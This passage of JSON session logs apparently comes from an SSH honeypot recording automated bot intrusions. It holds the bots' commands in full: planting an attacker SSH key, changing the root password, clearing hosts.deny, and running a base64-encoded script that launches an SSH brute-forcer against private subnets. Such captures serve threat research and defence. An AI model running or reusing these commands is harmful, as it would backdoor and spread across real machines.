-l"},{"seq":20,"at":"2026-08-21T22:44:13.998072+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:44:14.750774+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:44:14.751432+00:00","kind":"output","latency_ms":null,"data":"top - 22:44:14 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:44:15.489142+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:44:15.489613+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:44:16.227491+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:44:16.228208+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:44:16.967762+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:44:16.968322+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-21T22:44:17.706201+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:44:18.371275+00:00","kind":"output","latency_ms":664,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:44:19.121593+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:44:20.123775+00:00","kind":"output","latency_ms":1001,"data":"24G"},{"seq":33,"at":"2026-08-21T22:44:22.434522+00:00","kind":"input","latency_ms":null,"data":"echo \"root Test12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:44:23.172084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:44:24.472806+00:00","kind":"output","latency_ms":1300,"data":""},{"seq":36,"at":"2026-08-21T22:44:25.776320+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:44:26.457220+00:00","kind":"output","latency_ms":679,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:44:27.196692+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:44:27.973282+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:44:28.711861+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:44:29.448786+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:44:30.119391+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:44:30.859373+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:44:31.445487+00:00","kind":"output","latency_ms":582,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:44:32.185356+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:44:32.791625+00:00","kind":"output","latency_ms":608,"data":""},{"seq":47,"at":"2026-08-21T22:44:40.989488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:44:40.989902+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Test12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"085553b7-74c2-4a2d-9c6e-99eaa2ee2e06","name":"clever-wistful-condor","protocol":"ssh","channel_kind":"exec","src_ip":"143.202.162.212","src_port":35234,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":271,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T17:00:24.227469+00:00","ended_at":"2026-08-21T17:00:24.302398+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3554,"events":[{"seq":1,"at":"2026-08-21T16:59:57.112793+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T16:59:57.382592+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T17:00:01.917570+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T17:00:01.918028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T17:00:02.189247+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pXANzkJhY6pO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T17:00:02.460227+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T17:00:02.728641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T17:00:02.729228+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T17:00:02.999908+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T17:00:03.766598+00:00","kind":"output","latency_ms":765,"data":"Mem: 15888 1047 12180 132 2660 0"},{"seq":11,"at":"2026-08-21T17:00:04.038223+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T17:00:04.790787+00:00","kind":"output","latency_ms":751,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T17:00:04.799625+00:00","kind":"output","latency_ms":2610,"data":""},{"seq":14,"at":"2026-08-21T17:00:05.062956+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T17:00:05.063491+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T17:00:05.333448+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T17:00:05.334408+00:00","kind":"output","latency_ms":null,"data":" 17:00:05 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T17:00:05.604159+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T17:00:05.604636+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T17:00:05.875676+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T17:00:05.876203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T17:00:06.147780+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T17:00:06.148484+00:00","kind":"output","latency_ms":null,"data":"top - 17:00:06 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T17:00:06.419181+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T17:00:06.419577+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T17:00:06.691455+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T17:00:06.691775+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T17:00:06.962457+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T17:00:06.962767+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T17:00:07.234359+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T17:00:08.095515+00:00","kind":"output","latency_ms":860,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-21T17:00:08.366193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T17:00:09.203781+00:00","kind":"output","latency_ms":837,"data":"24G"},{"seq":34,"at":"2026-08-21T17:00:10.202326+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1234rfv\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T17:00:10.472040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T17:00:11.145565+00:00","kind":"output","latency_ms":672,"data":""},{"seq":37,"at":"2026-08-21T17:00:11.396249+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T17:00:12.138370+00:00","kind":"output","latency_ms":741,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-21T17:00:12.409348+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T17:00:13.138500+00:00","kind":"output","latency_ms":728,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-21T17:00:13.408770+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T17:00:13.678888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T17:00:14.489948+00:00","kind":"output","latency_ms":810,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-21T17:00:14.763544+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T17:00:15.464728+00:00","kind":"output","latency_ms":700,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-21T17:00:15.737745+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T17:00:16.355202+00:00","kind":"output","latency_ms":617,"data":""},{"seq":48,"at":"2026-08-21T17:00:24.230213+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-21T17:00:24.232246+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1234rfv","method":"password","accepted":true,"tier":"other"}]} {"id":"dde2d4ff-0ca4-483b-9053-7458166c5e99","name":"lonesome-hazy-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"45.194.3.128","src_port":46786,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":696,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T00:21:03.057453+00:00","ended_at":"2026-08-21T00:21:03.277755+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3479,"events":[{"seq":1,"at":"2026-08-21T00:20:20.051133+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T00:20:20.735187+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T00:20:27.736189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T00:20:27.737047+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T00:20:28.433454+00:00","kind":"input","latency_ms":null,"data":"echo \"root:luaHYBRExwsi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T00:20:29.129203+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T00:20:29.299723+00:00","kind":"output","latency_ms":864,"data":""},{"seq":8,"at":"2026-08-21T00:20:29.825330+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-21T00:20:29.826241+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-21T00:20:30.524103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-21T00:20:31.403640+00:00","kind":"output","latency_ms":880,"data":"15888 3124 12764 0 0 0"},{"seq":12,"at":"2026-08-21T00:20:32.101136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-21T00:20:33.351399+00:00","kind":"output","latency_ms":1246,"data":"-rwxr-xr-x 1 root root 147K Apr 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-21T00:20:34.047297+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T00:20:34.047959+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T00:20:34.744763+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T00:20:34.745324+00:00","kind":"output","latency_ms":null,"data":" 00:20:34 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T00:20:35.442147+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T00:20:35.445226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T00:20:36.142995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T00:20:36.145104+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T00:20:36.839262+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T00:20:36.840160+00:00","kind":"output","latency_ms":null,"data":"top - 00:20:36 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T00:20:37.537248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T00:20:37.537735+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T00:20:38.234393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T00:20:38.235083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T00:20:38.931583+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T00:20:38.932163+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T00:20:39.629808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T00:20:40.480467+00:00","kind":"output","latency_ms":849,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-21T00:20:41.177789+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T00:20:41.796203+00:00","kind":"output","latency_ms":617,"data":"24G"},{"seq":34,"at":"2026-08-21T00:20:44.048893+00:00","kind":"input","latency_ms":null,"data":"echo \"root abcd-1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T00:20:44.743138+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T00:20:45.498396+00:00","kind":"output","latency_ms":753,"data":""},{"seq":37,"at":"2026-08-21T00:20:47.239931+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T00:20:48.227166+00:00","kind":"output","latency_ms":986,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3\n"},{"seq":39,"at":"2026-08-21T00:20:48.923902+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T00:20:49.558693+00:00","kind":"output","latency_ms":633,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":41,"at":"2026-08-21T00:20:50.254481+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T00:20:50.950504+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T00:20:52.048453+00:00","kind":"output","latency_ms":1097,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":44,"at":"2026-08-21T00:20:52.744016+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T00:20:53.613654+00:00","kind":"output","latency_ms":868,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":46,"at":"2026-08-21T00:20:54.311577+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T00:21:03.058328+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T00:21:03.058785+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"abcd-1234","method":"password","accepted":true,"tier":"other"}]} {"id":"ddd2d8dd-2a8c-48e7-a914-3d24b5327f81","name":"smooth-sincere-loris","protocol":"ssh","channel_kind":"sftp","src_ip":"101.206.211.72","src_port":14175,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T22:38:46.573203+00:00","ended_at":"2026-08-20T22:38:46.560076+00:00","ended_reason":"no channel opened","commands":1,"transcript_bytes":61,"events":[{"seq":1,"at":"2026-08-20T22:38:47.216158+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.4626857232219091246/sshd (9568256 bytes)"}],"credentials":[{"username":"root","password":"centos","method":"password","accepted":true,"tier":"other"}]} {"id":"dd3dc568-17c5-4e13-afe3-5fce7789988b","name":"weathered-shifting-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"183.91.186.36","src_port":45114,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":901,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T20:24:34.329664+00:00","ended_at":"2026-08-20T20:24:34.630091+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3988,"events":[{"seq":1,"at":"2026-08-20T20:23:38.256970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T20:23:39.160053+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T20:23:47.130138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T20:23:47.130878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T20:23:48.032722+00:00","kind":"input","latency_ms":null,"data":"echo 